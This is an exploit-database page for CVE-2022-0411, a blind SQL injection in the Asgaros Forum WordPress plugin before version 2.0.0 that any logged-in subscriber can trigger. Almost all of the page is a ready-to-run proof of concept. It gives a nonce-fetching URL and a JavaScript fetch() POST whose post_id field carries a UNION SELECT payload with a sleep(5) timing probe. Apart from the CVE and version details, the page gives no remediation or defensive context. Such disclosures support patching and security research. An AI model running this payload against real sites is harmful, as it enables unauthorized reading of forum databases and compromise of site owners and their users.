Sploitus

Exploit for Asgaros Forum < 2.0.0 - Subscriber+ Blind SQL Injection

CVE-2022-0411

wpexploit · 2022-01-31

Exploit Code

MARKDOWN14 lines
## https://sploitus.com/exploit?id=WPEX-ID:35272197-C973-48AD-8405-538BFBAFA172
As any authenticated user, such as subscriber

To get the nonce: /wp-admin/admin-ajax.php?action=rest-nonce

fetch("?rest_route=/asgaros-forum/v1/reaction/1/hello", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "post_id=1 UNION SELECT 1, 1, 1, 1, 1,2,3,4,5,sleep(5) FROM dual -- g&_wpnonce=59c63b25b1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));